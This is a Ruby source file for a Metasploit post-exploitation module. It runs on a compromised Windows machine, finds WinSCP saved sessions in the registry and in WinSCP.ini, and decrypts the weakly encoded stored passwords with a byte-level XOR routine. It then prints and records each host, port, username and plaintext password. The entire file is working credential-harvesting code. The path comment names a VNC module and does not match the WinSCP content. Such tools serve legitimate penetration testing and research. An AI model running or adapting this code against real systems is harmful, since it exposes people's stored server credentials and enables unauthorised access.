##
# $Id$
##

# post/windows/gather/enum_vnc_pw.rb

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'
require 'rex'
require 'msf/core/post/windows/registry'
require 'rex/parser/ini'
require 'msf/core/post/windows/user_profiles'

class Metasploit3 < Msf::Post
	include Msf::Post::Windows::Registry
	include Msf::Auxiliary::Report
	include Msf::Post::Windows::UserProfiles

	def initialize(info={})
		super(update_info(info,
			'Name'          => 'Windows Gather WinSCP Saved Password Extraction',
			'Version'       => '$Revision$',
			'Description'   => %q{
				This module extracts weakly encrypted saved passwords from
				WinSCP. It searches for saved sessions in the Windows Registry
				and the WinSCP.ini file. It cannot decrypt passwords if a master
				password is used.
				},
			'License'       => MSF_LICENSE,
			'Author'        => [ 'TheLightCosine <thelightcosine[at]gmail.com>'],
			'Platform'      => [ 'windows' ],
			'SessionTypes'  => [ 'meterpreter' ]
		))
	end

	def get_reg
		# Enumerate all the SID in HKEY_Users and see if any of them have WinSCP RegistryKeys.
		regexists = 0

		userhives=load_missing_hives()
		userhives.each do |hive|
			next if hive['HKU'] == nil
			master_key = "#{hive['HKU']}\\Software\\Martin Prikryl\\WinSCP 2\\Configuration\\Security"
			masterpw = registry_getvaldata(master_key, 'UseMasterPassword')
			
			#No WinSCP Keys here
			next if masterpw.nil?
				
			
			regexists = 1
			if masterpw == 1
				# Master Password used to add AES256 encryption to stored password
				print_error("User #{hive['HKU']} is using a Master Password, cannot recover passwords")
				next

			else
				# Take a look at any saved sessions
				savedpwds = 0
				session_key = "#{hive['HKU']}\\Software\\Martin Prikryl\\WinSCP 2\\Sessions"
				saved_sessions = registry_enumkeys(session_key)
				next if saved_sessions.nil?
				saved_sessions.each do |saved_session|
					# Skip default settings entry
					next if saved_session == "Default%20Settings"

					active_session = "#{hive['HKU']}\\Software\\Martin Prikryl\\WinSCP 2\\Sessions\\#{saved_session}"
					password = registry_getvaldata(active_session, 'Password')
					# There is no password saved for this session, so we skip it
					next if password == nil
				
					savedpwds = 1
					portnum = registry_getvaldata(active_session, 'PortNumber')
					if portnum == nil
						# If no explicit port number entry exists, it is set to default port of tcp22
						portnum = 22
					end
					
					user = registry_getvaldata(active_session, 'UserName') || ""
					host = registry_getvaldata(active_session, 'HostName') || ""
					proto = registry_getvaldata(active_session, 'FSProtocol') || ""

					# If no explicit protocol entry exists it is on sFTP with SCP backup. If it is 0
					# it is set to SCP.
					if proto == nil or proto == 0
						proto = "SCP"					
					else 
						proto = "FTP"
					end
					
					#Decrypt our password, and report on results
					pass= decrypt_password(password, user+host)
					print_status("Host: #{host}  Port: #{portnum} Protocol: #{proto}  Username: #{user}  Password: #{pass}")
					report_auth_info(
						:host  => host,
						:port => portnum,
						:sname => proto,
						:user => user,
						:pass => pass
					)

				end	

				if savedpwds == 0
					print_status("No Saved Passwords found in the Session Registry Keys")
				end		
			end
			
			
		end

		if regexists == 0
			print_status("No WinSCP Registry Keys found!")
		end
		unload_our_hives(userhives)

	end


	def get_ini(filename)
		begin
			#opens the WinSCP.ini file for reading and loads it into the MSF Ini Parser
			client.fs.file.stat(filename)
			config = client.fs.file.new(filename,'r')
			parse = config.read
			print_status("Found WinSCP.ini file...")
			ini=Rex::Parser::Ini.from_s(parse)

			#if a Master Password is in use we give up
			if ini['Configuration\\Security']['MasterPassword'] == '1'
				print_status("Master Password Set, unable to recover saved passwords!")
				return nil
			end

			#Runs through each group in the ini file looking for all of the Sessions
			ini.each_key do |group| 
				groupkey='Sessions'
				if group=~/#{groupkey}/
					#See if we have a password saved in this sessions
					if ini[group].has_key?('Password')
						# If no explicit port number is defined, then it is the default tcp 22
						if ini[group].has_key?('PortNumber')
							portnum = ini[group]['PortNumber']
						else
							portnum = 22
						end
						host= ini[group]['HostName']
						user= ini[group]['UserName']
						proto = ini[group]['FSProtocol']

						# If no explicit protocol entry exists it is on sFTP with SCP backup. If it
						# is 0 it is set to SCP.
						if proto == nil or proto == 0
							proto = "SCP"					
						else 
							proto = "FTP"
						end
						# Decrypt the password and report on all of the results
						pass= decrypt_password(ini[group]['Password'], user+host)
						print_status("Host: #{host}  Port: #{portnum} Protocol: #{proto}  Username: #{user}  Password: #{pass}")
						report_auth_info(
							:host  => host,
							:port => portnum,
							:sname => proto,
							:user => user,
							:pass => pass
						)
					end
				end
			end			
		rescue 
			print_status("WinSCP.ini file NOT found...")
		end
	end

	def decrypt_next_char

		pwalg_simple_magic = 0xA3
		pwalg_simple_string = "0123456789ABCDEF"
		
		# Decrypts the next charachter in the password sequence
		if @password.length > 0
			# Takes the first char from the encrypted password and finds its position in the
			# pre-defined string, then left shifts the returned index by 4 bits
			unpack1 = pwalg_simple_string.index(@password[0,1])
			unpack1= unpack1 << 4
			
			# Takes the second char from the encrypted password and finds its position in the
			# pre-defined string
			unpack2 = pwalg_simple_string.index(@password[1,1])
			# Adds the two results, XORs against 0xA3, NOTs it and then ands it with 0xFF
			result= ~((unpack1+unpack2) ^ pwalg_simple_magic) & 0xff
			# Strips the first two chars off and returns our result
			@password = @password[2,@password.length]
			return result
		end


	end



	def decrypt_password(pwd, key)
		pwalg_simple_flag = 0xFF
		@password = pwd
		flag = decrypt_next_char()

		
		if flag == pwalg_simple_flag
			decrypt_next_char();
			length = decrypt_next_char();
		else
			length = flag;
		end
		ldel = (decrypt_next_char())*2 ;
		@password = @password[ldel,@password.length];
		result="";
		for ss in 0...length
			result+=decrypt_next_char().chr
		end

		if flag == pwalg_simple_flag
			result= result[key.length,result.length];

		end

		
		return result


	end

	def run
		print_status("Looking for WinSCP.ini file storage...")
		get_ini(client.fs.file.expand_path("%PROGRAMFILES%")+'\\WinSCP\\WinSCP.ini')
		print_status("Looking for Registry Storage...")
		get_reg()
		print_status("Done!")

	end



end